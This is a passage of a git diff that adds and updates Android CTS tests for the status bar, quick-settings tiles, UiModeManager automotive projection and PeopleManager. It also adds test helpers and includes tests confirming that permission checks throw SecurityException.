         DisableInfo info = mStatusBarManager.getDisableInfo();
         assertTrue("Invalid disableFlags", info.areAllComponentsEnabled());
     }
+
+    @Test(expected = SecurityException.class)
+    public void testCollapsePanels_withoutStatusBarPermission_throws() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp(), so drop it now
+        mUiAutomation.dropShellPermissionIdentity();
+
+        mStatusBarManager.collapsePanels();
+    }
+
+    @Test
+    public void testCollapsePanels_withStatusBarPermission_doesNotThrow() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp()
+
+        mStatusBarManager.collapsePanels();
+
+        // Nothing thrown, passed
+    }
 }
diff --git a/tests/app/src/android/app/cts/TileServiceTest.java b/tests/app/src/android/app/cts/TileServiceTest.java
index 152baa9..2509eb7 100644
--- a/tests/app/src/android/app/cts/TileServiceTest.java
+++ b/tests/app/src/android/app/cts/TileServiceTest.java
@@ -80,6 +80,16 @@
     }
 
     @Test
+    public void testTile_hasCorrectStateDescription() throws Exception {
+        initializeAndListen();
+
+        Tile tile = mTileService.getQsTile();
+        tile.setStateDescription("test_stateDescription");
+        tile.updateTile();
+        assertEquals("test_stateDescription", tile.getStateDescription());
+    }
+
+    @Test
     public void testShowDialog() throws Exception {
         Looper.prepare();
         Dialog dialog = new AlertDialog.Builder(mContext).create();
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index b474fb8..39ca201 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -17,6 +17,10 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.Manifest;
 import android.app.UiAutomation;
 import android.app.UiModeManager;
 import android.content.Context;
@@ -25,24 +29,30 @@
 import android.os.ParcelFileDescriptor;
 import android.os.UserHandle;
 import android.test.AndroidTestCase;
+import android.util.ArraySet;
 import android.util.Log;
 
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.compatibility.common.util.SettingsUtils;
 import com.android.compatibility.common.util.UserUtils;
 
+import com.google.common.util.concurrent.MoreExecutors;
+
 import junit.framework.Assert;
 
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.time.LocalTime;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
 
 public class UiModeManagerTest extends AndroidTestCase {
     private static final String TAG = "UiModeManagerTest";
-    private static final long MAX_WAIT_TIME = 2 * 1000;
-
-    private static final long WAIT_TIME_INCR = 100;
+    private static final long MAX_WAIT_TIME_SECS = 2;
+    private static final long MAX_WAIT_TIME_MS = MAX_WAIT_TIME_SECS * 1000;
+    private static final long WAIT_TIME_INCR_MS = 100;
 
     private UiModeManager mUiModeManager;
 
@@ -54,6 +64,8 @@
         // reset nightMode
         setNightMode(UiModeManager.MODE_NIGHT_YES);
         setNightMode(UiModeManager.MODE_NIGHT_NO);
+        // Make sure automotive projection is not set by this package at the beginning of the test.
+        releaseAutomotiveProjection();
     }
 
     public void testUiMode() throws Exception {
@@ -247,20 +259,14 @@
         if (mUiModeManager.isUiModeLocked()) {
             return;
         }
-        // Adopt shell permission so the required permission
-        // (android.permission.ENTER_CAR_MODE_PRIORITIZED) is granted.
-        UiAutomation ui = getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity();
 
-        try {
-            mUiModeManager.enableCarMode(100, 0);
-            assertEquals(Configuration.UI_MODE_TYPE_CAR, mUiModeManager.getCurrentModeType());
+        runWithShellPermissionIdentity(() -> mUiModeManager.enableCarMode(100, 0),
+                Manifest.permission.ENTER_CAR_MODE_PRIORITIZED);
+        assertEquals(Configuration.UI_MODE_TYPE_CAR, mUiModeManager.getCurrentModeType());
 
-            mUiModeManager.disableCarMode(0);
-            assertEquals(Configuration.UI_MODE_TYPE_NORMAL, mUiModeManager.getCurrentModeType());
-        } finally {
-            ui.dropShellPermissionIdentity();
-        }
+        runWithShellPermissionIdentity(() -> mUiModeManager.disableCarMode(0),
+                Manifest.permission.ENTER_CAR_MODE_PRIORITIZED);
+        assertEquals(Configuration.UI_MODE_TYPE_NORMAL, mUiModeManager.getCurrentModeType());
     }
 
     /**
@@ -280,6 +286,253 @@
         fail("Expected SecurityException");
     }
 
+    /**
+     * Verifies that an app holding the TOGGLE_AUTOMOTIVE_PROJECTION permission can request/release
+     * automotive projection.
+     */
+    public void testToggleAutomotiveProjection() throws Exception {
+        // If we didn't hold it in the first place, we didn't release it, so expect false.
+        assertFalse(releaseAutomotiveProjection());
+        assertTrue(requestAutomotiveProjection());
+        // Multiple calls are OK.
+        assertTrue(requestAutomotiveProjection());
+        assertTrue(releaseAutomotiveProjection());
+        // Once it's released, further calls return false since it was already released.
+        assertFalse(releaseAutomotiveProjection());
+    }
+
+    /**
+     * Verifies that the system can correctly read the projection state.
+     */
+    public void testReadProjectionState() throws Exception {
+        assertEquals(UiModeManager.PROJECTION_TYPE_NONE, getActiveProjectionTypes());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE).isEmpty());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL).isEmpty());
+        requestAutomotiveProjection();
+        assertEquals(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE, getActiveProjectionTypes());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE)
+                .contains(getContext().getPackageName()));
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL)
+                .contains(getContext().getPackageName()));
+        releaseAutomotiveProjection();
+        assertEquals(UiModeManager.PROJECTION_TYPE_NONE, getActiveProjectionTypes());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE).isEmpty());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL).isEmpty());
+    }
+
+    /** Verifies that the system receives callbacks about the projection state at expected times. */
+    public void testReadProjectionState_listener() throws Exception {
+        // Use AtomicInteger so it can be effectively final.
+        AtomicInteger activeProjectionTypes = new AtomicInteger();
+        Set<String> projectingPackages = new ArraySet<>();
+        AtomicInteger callbackInvocations = new AtomicInteger();
+        UiModeManager.OnProjectionStateChangeListener listener = (t, pkgs) -> {
+            Log.i(TAG, "onProjectionStateChanged(" + t + "," + pkgs + ")");
+            activeProjectionTypes.set(t);
+            projectingPackages.clear();
+            projectingPackages.addAll(pkgs);
+            callbackInvocations.incrementAndGet();
+        };
+
+        requestAutomotiveProjection();
+        runWithShellPermissionIdentity(() -> mUiModeManager.addOnProjectionStateChangeListener(
+                UiModeManager.PROJECTION_TYPE_ALL, MoreExecutors.directExecutor(), listener),
+                Manifest.permission.READ_PROJECTION_STATE);
+
+        // Should have called back immediately, but the call might not have gotten here yet.
+        CommonTestUtils.waitUntil("Callback wasn't invoked on listener addition!",
+                MAX_WAIT_TIME_SECS, () -> callbackInvocations.get() == 1);
+        assertEquals(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE, activeProjectionTypes.get());
+        assertEquals(1, projectingPackages.size());
+        assertTrue(projectingPackages.contains(getContext().getPackageName()));
+
+        // Callback should not be invoked again.
+        requestAutomotiveProjection();
+        Thread.sleep(MAX_WAIT_TIME_MS);
+        assertEquals(1, callbackInvocations.get());
+
+        releaseAutomotiveProjection();
+        CommonTestUtils.waitUntil("Callback wasn't invoked on projection release!",
+                MAX_WAIT_TIME_SECS, () -> callbackInvocations.get() == 2);
+        assertEquals(UiModeManager.PROJECTION_TYPE_NONE, activeProjectionTypes.get());
+        assertEquals(0, projectingPackages.size());
+
+        // Again, no callback for noop call.
+        releaseAutomotiveProjection();
+        Thread.sleep(MAX_WAIT_TIME_MS);
+        assertEquals(2, callbackInvocations.get());
+
+        // Test the case that isn't at time of registration.
+        requestAutomotiveProjection();
+        CommonTestUtils.waitUntil("Callback wasn't invoked on projection set!",
+                MAX_WAIT_TIME_SECS, () -> callbackInvocations.get() == 3);
+        assertEquals(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE, activeProjectionTypes.get());
+        assertEquals(1, projectingPackages.size());
+        assertTrue(projectingPackages.contains(getContext().getPackageName()));
+
+        // Unregister and shouldn't receive further callbacks.
+        runWithShellPermissionIdentity(() -> mUiModeManager.removeOnProjectionStateChangeListener(
+                listener), Manifest.permission.READ_PROJECTION_STATE);
+
+        releaseAutomotiveProjection();
+        requestAutomotiveProjection();
+        releaseAutomotiveProjection(); // Just to clean up.
+        Thread.sleep(MAX_WAIT_TIME_MS);
+        assertEquals(3, callbackInvocations.get());
+    }
+
+    private boolean requestAutomotiveProjection() throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+    }
+
+    private boolean releaseAutomotiveProjection() throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+    }
+
+    private int getActiveProjectionTypes() throws Exception {
+        return callWithShellPermissionIdentity(mUiModeManager::getActiveProjectionTypes,
+                Manifest.permission.READ_PROJECTION_STATE);
+    }
+
+    private Set<String> getProjectingPackages(int projectionType) throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> mUiModeManager.getProjectingPackages(projectionType),
+                Manifest.permission.READ_PROJECTION_STATE);
+    }
+
+    /**
+     * Attempts to request automotive projection without TOGGLE_AUTOMOTIVE_PROJECTION permission.
+     */
+    public void testRequestAutomotiveProjectionDenied() {
+        try {
+            mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to request automotive projection without TOGGLE_AUTOMOTIVE_PROJECTION permission.
+     */
+    public void testReleaseAutomotiveProjectionDenied() {
+        try {
+            mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to request more than one projection type at once.
+     */
+    public void testRequestAllProjectionTypes() {
+        try {
+            mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_ALL);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /**
+     * Attempts to release more than one projection type.
+     */
+    public void testReleaseAllProjectionTypes() {
+        try {
+            mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_ALL);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /** Attempts to request no projection types. */
+    public void testRequestNoProjectionTypes() {
+        try {
+            mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_NONE);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /** Attempts to release no projection types. */
+    public void testReleaseNoProjectionTypes() {
+        try {
+            mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_NONE);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /** Attempts to call getActiveProjectionTypes without READ_PROJECTION_STATE permission. */
+    public void testReadProjectionState_getActiveProjectionTypesDenied() {
+        try {
+            mUiModeManager.getActiveProjectionTypes();
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /** Attempts to call getProjectingPackages without READ_PROJECTION_STATE permission. */
+    public void testReadProjectionState_getProjectingPackagesDenied() {
+        try {
+            mUiModeManager.getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to call addOnProjectionStateChangeListener without
+     * READ_PROJECTION_STATE permission.
+     */
+    public void testReadProjectionState_addOnProjectionStateChangeListenerDenied() {
+        try {
+            mUiModeManager.addOnProjectionStateChangeListener(UiModeManager.PROJECTION_TYPE_ALL,
+                    getContext().getMainExecutor(), (t, pkgs) -> { });
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to call removeOnProjectionStateChangeListener without
+     * READ_PROJECTION_STATE permission.
+     */
+    public void testReadProjectionState_removeOnProjectionStateChangeListenerDenied() {
+        UiModeManager.OnProjectionStateChangeListener listener = (t, pkgs) -> { };
+        runWithShellPermissionIdentity(() -> mUiModeManager.addOnProjectionStateChangeListener(
+                UiModeManager.PROJECTION_TYPE_ALL, getContext().getMainExecutor(), listener),
+                Manifest.permission.READ_PROJECTION_STATE);
+        try {
+            mUiModeManager.removeOnProjectionStateChangeListener(listener);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
     private boolean isAutomotive() {
         return getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_AUTOMOTIVE);
@@ -364,12 +617,12 @@
     private void assertStoredNightModeSetting(int mode) {
         int storedModeInt = -1;
         // Settings.Secure.UI_NIGHT_MODE
-        for (int i = 0; i < MAX_WAIT_TIME; i += WAIT_TIME_INCR) {
+        for (int i = 0; i < MAX_WAIT_TIME_MS; i += WAIT_TIME_INCR_MS) {
             String storedMode = getUiNightModeFromSetting();
             storedModeInt = Integer.parseInt(storedMode);
             if (mode == storedModeInt) break;
             try {
-                Thread.sleep(WAIT_TIME_INCR);
+                Thread.sleep(WAIT_TIME_INCR_MS);
             } catch (InterruptedException e) {
                 e.printStackTrace();
             }
diff --git a/tests/app/src/android/app/cts/WearableExtenderTest.java b/tests/app/src/android/app/cts/WearableExtenderTest.java
index 768eb25..bcdb36d 100644
--- a/tests/app/src/android/app/cts/WearableExtenderTest.java
+++ b/tests/app/src/android/app/cts/WearableExtenderTest.java
@@ -44,7 +44,7 @@
         final String dismissalId = "dismissal_id";
         final int contentActionIndex = 2;
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
@@ -196,7 +196,7 @@
         final int contentActionIndex = 2;
         Notification.Action action = newActionBuilder().build();
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
new file mode 100644
index 0000000..2a6f5c3
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class FutureServiceConnection implements ServiceConnection {
+    private static final String TAG = "FutureServiceConnection";
+
+    private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+    public IBinder get(long timeoutMs) throws Exception {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        mFuture.complete(service);
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        Log.w(TAG, name.flattenToShortString() + " disconnected");
+        mFuture = new CompletableFuture<>();
+    }
+}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
new file mode 100644
index 0000000..e4a4721
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/NotificationHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.app.NotificationManager;
+import android.app.PendingIntent.CanceledException;
+import android.app.stubs.TestNotificationListener;
+import android.content.Context;
+import android.service.notification.StatusBarNotification;
+
+import java.util.function.Supplier;
+
+public class NotificationHelper {
+    public static final long SHORT_WAIT_TIME = 100;
+    public static final long MAX_WAIT_TIME = 2000;
+
+    private final Context mContext;
+    private final NotificationManager mNotificationManager;
+    private Supplier<TestNotificationListener> mNotificationListener;
+
+    public NotificationHelper(Context context, Supplier<TestNotificationListener> listener) {
+        mContext = context;
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+        mNotificationListener = listener;
+    }
+
+    public void clickNotification(int notificationId, boolean searchAll) throws CanceledException {
+        findPostedNotification(notificationId, searchAll).getNotification().contentIntent.send();
+    }
+
+    public StatusBarNotification findPostedNotification(int id, boolean all) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 1000ms before giving up
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification n = findNotificationNoWait(id, all);
+            if (n != null) {
+                return n;
+            }
+            try {
+                Thread.sleep(SHORT_WAIT_TIME);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return findNotificationNoWait(id, all);
+    }
+
+    public StatusBarNotification findNotificationNoWait(int id, boolean all) {
+        for (StatusBarNotification sbn : getActiveNotifications(all)) {
+            if (sbn.getId() == id) {
+                return sbn;
+            }
+        }
+        return null;
+    }
+
+    public StatusBarNotification[] getActiveNotifications(boolean all) {
+        if (all) {
+            return mNotificationListener.get().getActiveNotifications();
+        } else {
+            return mNotificationManager.getActiveNotifications();
+        }
+    }
+}
diff --git a/tests/app/src/android/app/people/cts/ConversationStatusTest.java b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
new file mode 100644
index 0000000..2c644b9
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/ConversationStatusTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import android.app.people.ConversationStatus;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class ConversationStatusTest extends AndroidTestCase {
+
+    private Context mContext;
+
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    public void testCreation()  {
+        final ConversationStatus cs =
+                new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                        .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+                        .setDescription("playing chess")
+                        .setAvailability(AVAILABILITY_BUSY)
+                        .setEndTimeMillis(1000)
+                        .setStartTimeMillis(100)
+                        .build();
+
+        assertEquals("id", cs.getId());
+        assertEquals(ACTIVITY_GAME, cs.getActivity());
+        assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+        assertEquals(100, cs.getStartTimeMillis());
+        assertEquals(1000, cs.getEndTimeMillis());
+        assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+        assertEquals("playing chess", cs.getDescription());
+    }
+
+    public void testParcelEmpty()  {
+        final ConversationStatus orig = new ConversationStatus.Builder("id", 100).build();
+
+        Parcel parcel = Parcel.obtain();
+        orig.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+
+        ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+        assertEquals("id", cs.getId());
+        assertEquals(100, cs.getActivity());
+        assertEquals(ConversationStatus.AVAILABILITY_UNKNOWN, cs.getAvailability());
+        assertEquals(-1, cs.getStartTimeMillis());
+        assertEquals(-1, cs.getEndTimeMillis());
+        assertNull(cs.getIcon());
+        assertNull(cs.getDescription());
+    }
+
+    public void testParcel()  {
+        final ConversationStatus orig =
+                new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                        .setIcon(Icon.createWithResource(mContext, android.R.drawable.btn_default))
+                        .setDescription("playing chess")
+                        .setAvailability(AVAILABILITY_BUSY)
+                        .setEndTimeMillis(1000)
+                        .setStartTimeMillis(100)
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        orig.writeToParcel(parcel, 0);
+
+        parcel.setDataPosition(0);
+
+        ConversationStatus cs = ConversationStatus.CREATOR.createFromParcel(parcel);
+
+        assertEquals("id", cs.getId());
+        assertEquals(ACTIVITY_GAME, cs.getActivity());
+        assertEquals(AVAILABILITY_BUSY, cs.getAvailability());
+        assertEquals(100, cs.getStartTimeMillis());
+        assertEquals(1000, cs.getEndTimeMillis());
+        assertEquals(android.R.drawable.btn_default, cs.getIcon().getResId());
+        assertEquals("playing chess", cs.getDescription());
+    }
+}
+
diff --git a/tests/app/src/android/app/people/cts/PeopleManagerTest.java b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
new file mode 100644
index 0000000..776a0c5
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.people.ConversationStatus.ACTIVITY_ANNIVERSARY;
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_AVAILABLE;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import static junit.framework.Assert.fail;
+
+import static java.lang.Thread.sleep;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Person;
+import android.app.people.ConversationStatus;
+import android.app.people.PeopleManager;
+import android.app.stubs.R;
+import android.app.stubs.SendBubbleActivity;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.graphics.drawable.Icon;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+import android.util.ArraySet;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+
+public class PeopleManagerTest extends AndroidTestCase {
+    final String TAG = PeopleManagerTest.class.getSimpleName();
+    static final String NOTIFICATION_CHANNEL_ID = "PeopleManagerTest";
+    static final String PERSON_CHANNEL_ID = "PersonTest";
+
+    private static final String SHARE_SHORTCUT_ID = "shareShortcut";
+    private static final String SHARE_SHORTCUT_ID2 = "shareShortcut2";
+    private static final String SHARE_SHORTCUT_CATEGORY =
+            "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
+
+    private static final long TIMEOUT_MS = 4000;
+
+    private NotificationManager mNotificationManager;
+    private ShortcutManager mShortcutManager;
+    private PeopleManager mPeopleManager;
+    private String mId;
+
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // This will leave a set of channels on the device with each test run.
+        mId = UUID.randomUUID().toString();
+        mNotificationManager = mContext.getSystemService(NotificationManager.class);
+        mShortcutManager = mContext.getSystemService(ShortcutManager.class);
+        mPeopleManager = mContext.getSystemService(PeopleManager.class);
+        assertNotNull(mPeopleManager);
+
+        createDynamicShortcut();
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT));
+        NotificationChannel personChannel =
+                new NotificationChannel(PERSON_CHANNEL_ID, "person", IMPORTANCE_DEFAULT);
+        personChannel.setConversationId(NOTIFICATION_CHANNEL_ID, SHARE_SHORTCUT_ID);
+        mNotificationManager.createNotificationChannel(personChannel);
+
+        mNotificationManager.notify(177, getConversationNotification().build());
+        sleep(500);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mNotificationManager.cancelAll();
+
+        List<NotificationChannel> channels = mNotificationManager.getNotificationChannels();
+        // Delete all channels.
+        for (NotificationChannel nc : channels) {
+            if (NotificationChannel.DEFAULT_CHANNEL_ID.equals(nc.getId())) {
+                continue;
+            }
+            mNotificationManager.deleteNotificationChannel(nc.getId());
+        }
+        deleteShortcuts();
+    }
+
+    /** Creates a dynamic, longlived, sharing shortcut. Call {@link #deleteShortcuts()} after. */
+    private void createDynamicShortcut() {
+        Person person = new Person.Builder()
+                .setBot(false)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setName("BubbleBot")
+                .setImportant(true)
+                .build();
+
+        Set<String> categorySet = new ArraySet<>();
+        categorySet.add(SHARE_SHORTCUT_CATEGORY);
+        Intent shortcutIntent = new Intent(mContext, SendBubbleActivity.class);
+        shortcutIntent.setAction(Intent.ACTION_VIEW);
+
+        ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
+                .setShortLabel(SHARE_SHORTCUT_ID)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setIntent(shortcutIntent)
+                .setPerson(person)
+                .setCategories(categorySet)
+                .setLongLived(true)
+                .build();
+
+        ShortcutInfo shortcut2 = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID2)
+                .setShortLabel(SHARE_SHORTCUT_ID2)
+                .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+                .setIntent(shortcutIntent)
+                .setPerson(person)
+                .setCategories(categorySet)
+                .setLongLived(true)
+                .build();
+
+        mShortcutManager.addDynamicShortcuts(Arrays.asList(shortcut, shortcut2));
+    }
+
+    private void deleteShortcuts() {
+        mShortcutManager.removeAllDynamicShortcuts();
+        mShortcutManager.removeLongLivedShortcuts(Collections.singletonList(SHARE_SHORTCUT_ID));
+    }
+
+    private Notification.Builder getConversationNotification() {
+        Person person = new Person.Builder()
+                .setName("bubblebot")
+                .build();
+        Notification.Builder nb = new Notification.Builder(mContext, PERSON_CHANNEL_ID)
+                .setContentTitle("foo")
+                .setShortcutId(SHARE_SHORTCUT_ID)
+                .setStyle(new Notification.MessagingStyle(person)
+                        .setConversationTitle("Bubble Chat")
+                        .addMessage("Hello?",
+                                SystemClock.currentThreadTimeMillis() - 300000, person)
+                        .addMessage("Is it me you're looking for?",
+                                SystemClock.currentThreadTimeMillis(), person)
+                )
+                .setSmallIcon(android.R.drawable.sym_def_app_icon);
+        return nb;
+    }
+    public void testIsConversationWithoutPermission() throws Exception {
+        try {
+            mPeopleManager.isConversation(mContext.getPackageName(), SHARE_SHORTCUT_ID);
+            fail("Expected SecurityException");
+        } catch (Exception e) {
+            //expected
+        }
+    }
+
+    public void testIsConversationWithPermission() throws Exception {
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PEOPLE_DATA");
+
+            // Shortcut exists and has label
+            assertTrue(mPeopleManager.isConversation(
+                    mContext.getPackageName(), SHARE_SHORTCUT_ID));
+            // Shortcut doesn't exist
